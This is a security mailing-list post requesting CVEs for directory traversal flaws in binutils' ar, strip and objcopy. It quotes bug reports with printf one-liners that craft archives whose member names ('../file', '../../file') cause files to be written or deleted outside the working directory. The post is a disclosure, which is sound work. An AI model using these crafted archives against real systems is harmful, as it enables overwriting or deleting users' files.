CVE Request: binutils -- directory traversal

[Alexander Cherepanov <cherepan () mccme ru>]

Hello,

it seems binutils don't check paths when extracting files from archives.

----------------------------------------------------------------------
From https://sourceware.org/bugzilla/show_bug.cgi?id=17533#c4 :

directory traversal [in ar]:

$ printf '!<arch>\n%-48s%-10d`\n../file\n%-48s%-10s`\n' '//' 8 '/0' 0 > 
test.a
$ ar xv test.a
x - ../file

From https://sourceware.org/bugzilla/show_bug.cgi?id=17533#c7 :

Both absolute and relative paths could be used for the attack.

----------------------------------------------------------------------
From https://sourceware.org/bugzilla/show_bug.cgi?id=17552 :

strip and objcopy don't filter out .. components from paths inside archive.

Consider an archive created with the following command:

$ printf '!<arch>\n%-48s%-10d`\n../file\n%-48s%-10s`\n' '//' 8 '/0' 0 > 
test.a

then runnig strip/objcopy on it will unlink ./file (e.g. 
unlink("stq0g2tL/../st4Mtgu4/../file") ).

Consider this:

$ printf '!<arch>\n%-48s%-10d`\n../../file\n\n%-48s%-10s`\n' '//' 12 
'/0' 0 > test.a

then runnig strip/objcopy on it will unlink ../../file (e.g. 
unlink("staOxyFW/../../st4KIqLm/../../file") ).

----------------------------------------------------------------------

Could CVEs please be assigned to these issues?
